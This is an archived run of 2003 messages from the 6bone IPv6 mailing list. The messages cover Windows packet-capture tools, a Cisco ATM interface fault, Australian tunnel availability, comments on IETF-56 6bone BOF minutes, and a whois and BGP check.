> http://mailman.isi.edu/mailman/listinfo/6bone


From pasky@machine.sinus.cz Mon Mar 31 04:08:19 2003
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Dear diary, on Mon, Mar 31, 2003 at 05:07:00AM CEST, I got a letter,
where Dan Reeder <dan@reeder.name> told me, that...
> But they more accurately represent the internet community Colin.
> Sure, WE know that the phase out of the 6bone would be infact quite
> beneficial (atleast in theory) to the ipv6 movement. But they dont. They can
> (and are) very easily see it as the demise of IPv6 as a viable technology.
> The same thing happened when microsoft decided not to offer their java vm
> anymore... folks thought that java was doomed.

Judging from the comments, there seems to be clueful enough people who are
modded up sufficiently enough to educate others ;-).

-- 
 
				Petr "Pasky" Baudis
.
The pure and simple truth is rarely pure and never simple.
		-- Oscar Wilde
.
Stuff: http://pasky.ji.cz/

From tbegin@tf1.fr Mon Mar 31 06:41:10 2003
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Subject: RE: [6bone] RE: 6bone digest, Vol 1 #302 - 5 msgs
Date: Mon, 31 Mar 2003 16:24:07 +0200
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From: "BEGIN, Thomas" <tbegin@tf1.fr>
To: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
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I've followed the instructions you gave to me and then I can catch IPv6 packets on my computer.
I thank you for your help.

Bye 

-Thomas

-----Message d'origine-----
De : Anil Bhaskarwar [mailto:anil.bhaskar@wipro.com]
Envoyé : jeudi 27 mars 2003 14:32
À : BEGIN, Thomas; 6bone@mailman.isi.edu
Objet : RE: [6bone] RE: 6bone digest, Vol 1 #302 - 5 msgs



Dear Thomas,
Please follow the procedure that I told yesterday, U may have to search the correct file (for windows) in the ethereal web site. I am using the same in .NET server and it is working fine for me.
I downloaded from the site http://www.ethereal.com/distribution/win32/, there U will also get the ReadMe.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Thursday, March 27, 2003 1:27 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] RE: 6bone digest, Vol 1 #302 - 5 msgs

I tried with it (Ethereal)
But it looks like it doesn't catch IPv6's packets...
However options in the software show that IPv should be taken on.
Does anybody have tried to use it on a windows computer ?

-Thomas

-----Message d'origine-----
De : 6bone-request@mailman.isi.edu
[mailto:6bone-request@mailman.isi.edu]
Envoyé : mercredi 26 mars 2003 21:05
À : 6bone@mailman.isi.edu
Objet : 6bone digest, Vol 1 #302 - 5 msgs


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Today's Topics:

   1. ipv6 traffic analyzer for windows (BEGIN, Thomas)
   2. RE: ipv6 traffic analyzer for windows (Anil Bhaskarwar)
   3. Re: ipv6 traffic analyzer for windows (Daniel Wiberg)
   4. Re: ipv6 traffic analyzer for windows (Abdul Basit)
   5. Re: ipv6 traffic analyzer for windows (Gav)

--__--__--

Message: 1
Date: Wed, 26 Mar 2003 12:45:43 +0100
From: "BEGIN, Thomas" <tbegin@tf1.fr>
To: <6bone@mailman.isi.edu>
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas



--__--__--

Message: 2
Subject: RE: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 19:03:58 +0530
From: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>


Try ethereal at www.ethereal.com with winpcap2.3 onwards. Now WinPCap3.0
is also available at
http://winpcap.polito.it/install/bin/WinPcap_3_0_a.exe 
Step to install Ethereal:
Install first WinPCap and then install Ethereal. Enjoy.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
Board No: +91-80-8520408-Ext: 5438
Direct No: +91-80-8528778
VOIP: 808 5438
Mob: 9844003364
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Wednesday, March 26, 2003 4:46 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server
2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas


_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

**************************Disclaimer************************************

Information contained in this E-MAIL being proprietary to Wipro Limited is 
'privileged' and 'confidential' and intended for use only by the individual
 or entity to which it is addressed. You are notified that any use, copying 
or dissemination of the information contained in the E-MAIL in any manner 
whatsoever is strictly prohibited.

***************************************************************************

--__--__--

Message: 3
Date: Wed, 26 Mar 2003 14:59:54 +0100
From: Daniel Wiberg <danne@wiberg.nu>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
CC: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows

Ethereal (www.ethereal.com) should work.

//danne

-- 
Daniel Wiberg
www.wiberg.nu


BEGIN, Thomas wrote:

>Hello,
>I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
>The default one doesn't exactly fit with my requirements.
>Thanks for giving me some names or addresses.
>
>- Thomas
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




--__--__--

Message: 4
Date: Wed, 26 Mar 2003 15:00:55 +0000 (GMT)
From: Abdul Basit <basit@basit.cc>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows


http://www.ethereal.com/introduction.html#features

Its for windows also, btw what is windows server 2003 ?

- basit

On Wed, 26 Mar 2003, BEGIN, Thomas wrote:

> Hello,
> I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
> The default one doesn't exactly fit with my requirements.
> Thanks for giving me some names or addresses.
>
> - Thomas
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

--__--__--

Message: 5
From: "Gav" <old_mc_donald@hotmail.com>
To: "Abdul Basit" <basit@basit.cc>
Cc: <6bone@mailman.isi.edu>
Subject: Re: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 23:21:48 +0800


| 
| Its for windows also, btw what is windows server 2003 ?
| 

Thats the beta version of Windows .NET Server.

Gav...


---
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Version: 6.0.465 / Virus Database: 263 - Release Date: 25/03/2003


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From clazo@inf.uach.cl Mon Mar 31 10:48:34 2003
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Reply-To: "Christian Lazo" <clazo@inf.uach.cl>
From: "Christian Lazo" <clazo@inf.uach.cl>
To: <6bone@mailman.isi.edu>
Date: Mon, 31 Mar 2003 14:48:26 +0200
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Subject: [6bone] problems with cisco
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Hello i have problems with coneccion in Cisco 12.2(8)T   and Zebra 0.90a

interface ATM4/0/0.8 multipoint
 description --> ELAN IPv6.cl
 ipv6 address 3FFE:400F::2/64
 ipv6 enable
 ipv6 mtu 4470
 lane client ethernet IPv6.cl
end


The problems is dead the connection and be necesary reboot the cisco for =
reconection.

Iam not Understand?=BF





__________________
Christian Lazo R.
Instituto de Inform=E1tica
Fac. Cs de la Ingenier=EDa=20
Universidad Austral de Chile

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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DVerdana size=3D2>Hello i have problems with coneccion =
in Cisco=20
12.2(8)T&nbsp; &nbsp;and Zebra 0.90a</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>interface ATM4/0/0.8=20
multipoint<BR>&nbsp;description --&gt; ELAN IPv6.cl<BR>&nbsp;ipv6 =
address=20
3FFE:400F::2/64<BR>&nbsp;ipv6 enable<BR>&nbsp;ipv6 mtu =
4470<BR>&nbsp;lane client=20
ethernet IPv6.cl<BR>end</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><BR>The problems is dead the =
connection and be=20
necesary reboot the cisco for reconection.</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>Iam not Understand?=BF</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><BR>&nbsp;</DIV></FONT>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>__________________<BR>Christian Lazo=20
R.<BR>Instituto de Inform=E1tica<BR>Fac. Cs de la Ingenier=EDa =
<BR>Universidad=20
Austral de Chile</FONT></DIV></BODY></HTML>

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From old_mc_donald@hotmail.com Tue Apr  1 02:47:04 2003
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From: "Gav" <old_mc_donald@hotmail.com>
To: "Andrew" <andrew@ugh.net.au>, "Dan Reeder" <dan@reeder.name>
Cc: "Carl Brewer" <carl@bl.echidna.id.au>, <6bone@ISI.EDU>,
   <ipv6-au@e-Secure.com.au>
References: <20030401132313.G20766-100000@starbug.ugh.net.au> <00e301c2f823$69ecddf0$0200a8c0@elf>
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Subject: [6bone] Re: [ipv6-au] NTP server
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Dan and people,

As mentioned on the 6bone list, Telstra will be very shortly releasing
details so us poor peeps in Aus can get a tunnel provided to us by them.

After being badgered on the 6bone list to provide the details of the man in
charge I received no replies and so far he has not been contacted either.

Why do people whine about things and then do nothing about it, if he doesn't
get emails from you guys then he will not be in such a hurry to complete the
set up.

(Apologies to those on the ipv6-au list who knew nothing about this)

The details again ,

Copy of email by Stephan Millet :-

Gav,

Thanks for your inquiry. I am just putting the final touches on our IPv6 web
pages etc which will provide all the info you require including application
forms, I will release the URL to yourself and the General AU community soon
(early next week all going well)

Could you also please email me using my IPv6 role address as I run some
pretty aggresive spam filters and wouldn't want to miss any emails from the
general AU IPv6 community.

email me using : ipv6-trial@telstra.net

Speak to you soon

Cheers

--
Stephan Millet
Telstra Internet Networking Development


On Friday 21 March 2003 01:02, you wrote:
> Hi Stephan,
>
> Following recent enquiry and a reply from Geoff Huston (see below for full
> emails, though I believe you have received a copy of most of this) I would
> like to ask for (initially) a tunnel to be set  up to your IPv6 router.
<snip>

----------------------------------------------------------------------------
----


----- Original Message -----
From: "Dan Reeder" <dan@reeder.name>
To: "Andrew" <andrew@ugh.net.au>
Cc: <ipv6-au@e-Secure.com.au>
Sent: Tuesday, April 01, 2003 3:50 PM
Subject: Re: [ipv6-au] NTP server


| Ok well it seems that NTT has taken the cake as far as speedy connectivity
| is concerned (as it should).
|
| Now the next obvious question is, is there an NTT-based tunnel broker
| somewhere within Australia (preferably Sydney) that can give residential
| customers tunnels for free?
|
| dan
| ----- Original Message -----
| From: "Andrew" <andrew@ugh.net.au>
| To: "Dan Reeder" <dan@reeder.name>
| Cc: <ipv6-au@e-Secure.com.au>
| Sent: Tuesday, April 01, 2003 1:25 PM
| Subject: Re: [ipv6-au] NTP server
|
|
| >
| >
| > On Tue, 1 Apr 2003, Dan Reeder wrote:
| >
| > > I would certainly be interested if anyone here knows of v6
connectivity
| for
| > > a simple residential geek like myself that is better than my existing
| he.net
| > > tunnel
| >
| > Tracing the route to apple.kame.net
(3FFE:501:4819:2000:210:F3FF:FE03:4D0)
| >
| >   1 tu-20.r00.plalca01.us.b6.verio.net (2001:418:0:5000::8) 160 msec 164
| msec 164 msec
| >   2 tu-800.r00.snjsca06.us.b6.verio.net (2001:418:0:2000::2) 172 msec
184
| msec 180 msec
| >   3 cisco1.sanjose.wide.s-ix.net (2001:418:201::2500:1) 168 msec 160
msec
| 160 msec
| >   4 pc1.notemachi.wide.ad.jp (2001:200:0:6C01:290:27FF:FE3A:D8) 296 msec
| 292 msec 368 msec
| >   5 pc3.yagami.wide.ad.jp (2001:200:0:1C04::1000:2000) 288 msec 288 msec
| 288 msec
| >   6 gr2000.k2c.wide.ad.jp (2001:200:0:4819::2000:1) 288 msec 288 msec
292
| msec
| >   7 apple.kame.net (3FFE:501:4819:2000:210:F3FF:FE03:4D0) 304 msec 292
| msec 296 msec
| >
| > Tracing the route to www.hs247.com (2001:730::1:37)
| >
| >   1 tu-20.r00.plalca01.us.b6.verio.net (2001:418:0:5000::8) 156 msec 156
| msec 156 msec
| >   2 2001:730::1:6C 256 msec 344 msec 300 msec
| >   3 nl-ams06d-re1-t-9.ipv6.aorta.net (2001:730::1:61) 332 msec 320 msec
| 316 msec
| >   4 www.hs247.com (2001:730::1:37) 324 msec 324 msec 324 msec
| >
| > Thats from within NTT.
| >
| > Andrew
| >
|
|

From tlangdon@atctraining.com.au Tue Apr  1 14:04:47 2003
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   Dan Reeder <dan@reeder.name>
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Subject: RE: [6bone] Re: [ipv6-au] NTP server
Date: Wed, 2 Apr 2003 08:04:32 +1000 
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> As mentioned on the 6bone list, Telstra will be very shortly releasing
> details so us poor peeps in Aus can get a tunnel provided to 
> us by them.

Well, I'd be interested to hear more.  Telstra is certainly a lot better
than going overseas for a tunnel.

I was under the impression (on the 6Bone list) that the original message was
about native IPv6 connectivity, not tunnels, and as none of the systems
(home or work) are directly connected to Telstra, direct native connectivity
wouldn't be of any use.  A tunnel, OTOH, would be very useful, especially if
they can do a freenet like system and make it work with a dynamic IP (avoid
some prefix changes).  Don't want to have to re-do my prefixes every time my
IPv4 address changes... :)

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From bob@thefinks.com Tue Apr  1 18:52:27 2003
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Subject: [6bone] draft minutes of the 6bone BOF at IETF-56
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6bone Folk,

Minutes of the 6bone BOF from IETF-56 are at:

<http://6bone.net/ngtrans/minutes/index.htm>

Please send me any comments/corrections/additions.


Thanks,

Bob


From old_mc_donald@hotmail.com Wed Apr  2 05:29:23 2003
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Hi Bob and all,=20


| 6bone Folk,
|=20
| Minutes of the 6bone BOF from IETF-56 are at:
|=20
| <http://6bone.net/ngtrans/minutes/index.htm>
|=20
| Please send me any comments/corrections/additions.
|

I have been a list member here for a while now and every now and then =
pop up with a question or a comment which probably shows my ignorance =
about some of the things that are 6bone/IPv6. I will continue in that =
vain :0)

I was just going to give my comments and be done with it, but =
............ a very brief background as I think it serves well not to =
just receive comments from people, but to also know who they are coming =
from. You all mostly know each other here but I expect you (Bob) would =
like comments from us lesser mortals.=20
    Those who want to skip the intro, page down to the arrows >>>>>>

I am 32, Have been involved with computers since school days etc... My =
last job was as a Software Technician for a group of colleges in England =
but gave it up to move to Australia, I am now in Sales but in the =
process of setting up my own Computer repair/upgrade/network/website etc =
Business. I embarked on a part time study degree with the Open =
University (3 years ago) aiming towards a named honours degree in 'IT & =
Computing' (obvious no doubt) and have gained a diploma so far with =
another and the degree coming next year with a bit of luck. I do have a =
life however and am not a geek, script kiddie, techno fashion seeker or =
anything else you might come up with, I am just interested.

My interest in IPv6 was to begin with, one in which I could gain the =
knowledge needed in order to go out and get a job with a Company that =
provides/specializes/needs IPv6. I don't want to be a nTLA or any kind =
of provider of IPv6 services to end users. So the issue is then - what =
is there left in IPv6 that I can use, not a lot I think is the answer. =
There is maybe a networking job out there from 2003 until 2007 (say) for =
transition purposes with ISPs. Big deal, not a career prospect there, =
and no doubt all the ISPs and Telco's/Cable providers have there own =
teams working on it now anyway.

So can someone please tell me , what is the point in my (and like) =
learning all this stuff, I mean - I didn't need to know the ins and outs =
of IPv4 (but I do). Is it too late for me already to participate =
properly or is my only option to approach a nTLA/ISP.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>=
>>>>

Ok, so back to Comments on the Minutes of the Meeting . (Has a certain =
poetic feel don't you think)

>Bob said that he would paraphrase the single largest concern as ".why =
>should the 6bone community get cheaper services than the dues paying =
>members.?"

Comment : Up to , including and for 1 year after the transition period =
(until July 2007) I think that the participating members of the 6bone =
have a right as collaborators on the technical issues involved to get =
the necessary services at a reduced cost. The free time alone that =
members have given up is evidence enough that some kind of reward should =
be given back (never mind the voluntary costs of equipment etc).

>Also, there is now the ability for the RIRs to temporarily allocate =
>IPv6 addresses for Internet experiments.

Comment : Who are these temporary IPv6 addresses for ?? Providers ,end =
users or both?

>Tim Chown asked why not use 06/06/06 for the kill date as it had a =
>nice symmetry?

Comment : It is also easy to remember. (And the Devil will rise from the =
fires of Hell)

>Bob Fink asked if it is better to shutdown in the summer rather than  =
>(Xmas) holiday time? Comments seemed to say that summertime was =
>better.

Comment : I don't agree . What would be the reasoning for this? =
Considerations to think about would be for those that are still using =
the 6bone in their own spare time - so holiday times would be good for =
them.
 Another consideration and perhaps the main one would be volume of =
traffic over the internet. During holiday periods there would be a rise =
in domestic use of the internet but should be of no concern as far as =
IPv6 is concerned during the shutdown. During normal work time in the =
summer there is likely to be more IPv6 traffic, will this have any =
bearing on the shutdown, I'd have thought so. Holidays would be better =
IMHO.

>Jordi Palet noted that you can get an experimental prefix from=20
>RIRs, you just need an upstream provider to forward the request on =
>your behalf.=20

Comment : Again, please explain who is meant by 'you can'. On who's =
behalf are we talking about here??

The PowerPoint presentation from the link was good.

I hope I didn't talk too much..

Feedback appreciated.

Thanks=20

Gav...

(Gavin McDonald)

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<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>Hi Bob and all,=20
</FONT></STRONG></DIV>
<DIV><STRONG><BR><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>| 6bone Folk,<BR>| =
<BR>| Minutes=20
of the 6bone BOF from IETF-56 are at:<BR>| <BR>| &lt;</FONT></STRONG><A=20
href=3D"http://6bone.net/ngtrans/minutes/index.htm"><STRONG><FONT=20
face=3D"Comic Sans MS"=20
size=3D2>http://6bone.net/ngtrans/minutes/index.htm</FONT></STRONG></A><S=
TRONG><FONT=20
face=3D"Comic Sans MS" size=3D2>&gt;<BR>| <BR>| Please send me any=20
comments/corrections/additions.<BR>|</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>I have been a list =
member here=20
for a while now and every now and then pop up with a question or a =
comment which=20
probably shows my ignorance about some of the things that are =
6bone/IPv6. I will=20
continue in that vain :0)</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>I was just going to =
give my=20
comments and be done with it, but ............ a very brief background =
as I=20
think it serves well not to just receive comments from people, but to =
also know=20
who they are coming from. You all mostly know each other here but I =
expect you=20
(Bob) would like comments from us lesser mortals. </FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>&nbsp;&nbsp;&nbsp; =
Those who want=20
to skip the intro, page down to the arrows=20
&gt;&gt;&gt;&gt;&gt;&gt;</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>I am 32, Have been =
involved with=20
computers since school days etc... My last job was as a Software =
Technician for=20
a group of colleges in England but gave it up to move to Australia, I am =
now in=20
Sales but in the process of setting up my own Computer=20
repair/upgrade/network/website etc Business. I embarked on a part time =
study=20
degree with the Open University (3 years ago)&nbsp;aiming towards a =
named=20
honours degree in 'IT &amp; Computing' (obvious no doubt) and have =
gained a=20
diploma so far with another and the degree coming next year with a bit =
of luck.=20
I do have a life however and am not a geek, script kiddie, techno =
fashion seeker=20
or anything else you might come up with, I am just=20
interested.</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>My interest in IPv6 =
was to begin=20
with, one in which I could gain the knowledge needed in order to go out =
and get=20
a job with a Company that provides/specializes/needs IPv6. I don't want =
to be a=20
nTLA or any kind of provider of IPv6 services to end users. So the issue =
is then=20
- what is there left in IPv6 that I can use, not a lot I think is the =
answer.=20
There is maybe a networking job out there from 2003 until 2007 (say) for =

transition purposes with ISPs. Big deal, not a career prospect there, =
and no=20
doubt all the ISPs and Telco's/Cable providers have there own teams =
working on=20
it now anyway.</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>So can someone please =
tell me ,=20
what is the point in my (and like) learning all this stuff, I mean - I =
didn't=20
need to know the ins and outs of IPv4 (but I do). Is it too late for me =
already=20
to participate properly or is my only option to approach a=20
nTLA/ISP.</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS"=20
size=3D2>&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;=
&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&=
gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&g=
t;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt=
;&gt;&gt;&gt;&gt;&gt;&gt;</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>Ok, so back to =
Comments on the=20
Minutes of the Meeting . (Has a certain poetic feel don't you=20
think)</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Courier New">&gt;Bob said that he would =
paraphrase the=20
single largest concern as =93=85why &gt;should the 6bone community get =
cheaper=20
services than the dues paying &gt;members=85?=94</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>Comment : Up to , =
including and=20
for 1 year after the transition period (until July 2007) I think that =
the=20
participating members of the 6bone have a right as collaborators on the=20
technical issues involved to get the necessary services at a reduced =
cost. The=20
free time alone that members have given up is evidence enough that some =
kind of=20
reward should be given back (never mind the voluntary costs of equipment =

etc).</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Courier New">&gt;Also, there is now the =
ability for the=20
RIRs to temporarily allocate &gt;IPv6 addresses for Internet=20
experiments.</FONT><BR></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>Comment : Who are =
these temporary=20
IPv6 addresses for ?? Providers ,end users or =
both?</FONT></STRONG></DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" =
size=3D2></FONT></STRONG>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><FONT face=3D"Courier New" =
size=3D3>&gt;Tim=20
Chown asked why not use 06/06/06 for the kill date as it had a &gt;nice=20
symmetry?</FONT></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><FONT face=3D"Courier New"=20
size=3D3></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><STRONG>Comment : It is also =
easy to=20
remember. (And the Devil will rise from the fires of =
Hell)</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><FONT face=3D"Courier New" =
size=3D3>&gt;Bob=20
Fink asked if it is better to shutdown in the summer rather than&nbsp;=20
&gt;(Xmas) holiday time? Comments seemed to say that summertime was=20
&gt;better.</FONT><BR></DIV>
<DIV><STRONG>Comment : I don't agree . What would be the reasoning for =
this?=20
Considerations to think about would be for those that are still =
using&nbsp;the=20
6bone in their own spare time - so holiday times would be good for=20
them.</STRONG></DIV>
<DIV><STRONG>&nbsp;Another consideration and perhaps the main one would =
be=20
volume of traffic over the internet. During holiday periods there would =
be a=20
rise in domestic use of the internet but should be of no concern as far =
as IPv6=20
is concerned during the shutdown. During normal work time in the summer =
there is=20
likely to be more IPv6 traffic, will this have any bearing on the =
shutdown, I'd=20
have thought so. Holidays would be better =
IMHO.</STRONG><BR></DIV></FONT>
<DIV><FONT face=3D"Courier New">&gt;Jordi Palet noted that you can get =
an=20
experimental prefix from </FONT></DIV>
<DIV><FONT face=3D"Courier New">&gt;RIRs, you just need an upstream =
provider to=20
forward the request on &gt;your behalf. </FONT></DIV>
<DIV><FONT face=3D"Courier New"></FONT>&nbsp;</DIV>
<DIV><STRONG><FONT face=3D"Comic Sans MS" size=3D2>Comment : Again, =
please explain=20
who is meant by 'you can'. On who's behalf are we talking about=20
here??</FONT></STRONG></DIV>
<DIV><BR><FONT face=3D"Comic Sans MS" size=3D2><STRONG>The PowerPoint =
presentation=20
from the link was good.</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><STRONG>I hope I didn't talk =
too=20
much..</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><STRONG>Feedback=20
appreciated.</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><STRONG>Thanks =
</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG>Gav...</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" =
size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2><STRONG>(Gavin=20
McDonald)<BR></STRONG></FONT></DIV></BODY></HTML>

------=_NextPart_000_000A_01C2F95E.EBC1E4B0--

From bmanning@ISI.EDU Wed Apr  2 11:39:41 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200304021939.h32Jdek02573@boreas.isi.edu>
To: 6bone@ISI.EDU
Date: Wed, 2 Apr 2003 11:39:40 -0800 (PST)
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Subject: [6bone] slowly mr registry...
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Its taken a while, however one more hurdle has passed.

boreas 133% whois DOT.EP.NET

Whois Server Version 1.3

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Server Name: DOT.EP.NET
   IP Address: 198.32.2.10
   IP Address: 2001:478:6:0:230:48FF:FE22:6A29
   Registrar: NETWORK SOLUTIONS, INC.
   Whois Server: whois.networksolutions.com
   Referral URL: http://www.networksolutions.com


>>> Last update of whois database: Wed, 2 Apr 2003 06:02:19 EST <<<



-- 
"When in doubt, Twirl..."  -anon

From nicolas.deffayet@ndsoftware.net Wed Apr  2 13:26:47 2003
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Subject: Re: [6bone] slowly mr registry...
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
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On Wed, 2003-04-02 at 21:39, Bill Manning wrote:

>    Server Name: DOT.EP.NET
>    IP Address: 198.32.2.10
>    IP Address: 2001:478:6:0:230:48FF:FE22:6A29
>    Registrar: NETWORK SOLUTIONS, INC.
>    Whois Server: whois.networksolutions.com
>    Referral URL: http://www.networksolutions.com

route-server.ndsoftwarenet.net> sh ipv6 bgp
2001:478:6:0:230:48FF:FE22:6A29
% Network not in table
route-server.ndsoftwarenet.net>

Is it normal ?


-- 
Nicolas DEFFAYET, NDSoftware
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
Get production quality full native IPv6 transit on a
100baseTX port or a 100base FX port with FNIX6 !


From bob@thefinks.com Wed Apr  2 22:31:31 2003
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Date: Wed, 02 Apr 2003 22:31:16 -0800
To: "Gav" <old_mc_donald@hotmail.com>, "6BONE List" <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] draft minutes of the 6bone BOF at IETF-56
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Gavin.

Thanks for your note. I'll let others reply if they so choose.


Bob

At 09:29 PM 4/2/2003 +0800, Gav wrote:
>Hi Bob and all,
>
>| 6bone Folk,
>|
>| Minutes of the 6bone BOF from IETF-56 are at:
>|
>| 
><<http://6bone.net/ngtrans/minutes/index.htm>http://6bone.net/ngtrans/minutes/index.htm>
>|
>| Please send me any comments/corrections/additions.
>|
>
>I have been a list member here for a while now and every now and then pop 
>up with a question or a comment which probably shows my ignorance about 
>some of the things that are 6bone/IPv6. I will continue in that vain :0)
>
>I was just going to give my comments and be done with it, but ............ 
>a very brief background as I think it serves well not to just receive 
>comments from people, but to also know who they are coming from. You all 
>mostly know each other here but I expect you (Bob) would like comments 
>from us lesser mortals.
>     Those who want to skip the intro, page down to the arrows >>>>>>
>
>I am 32, Have been involved with computers since school days etc... My 
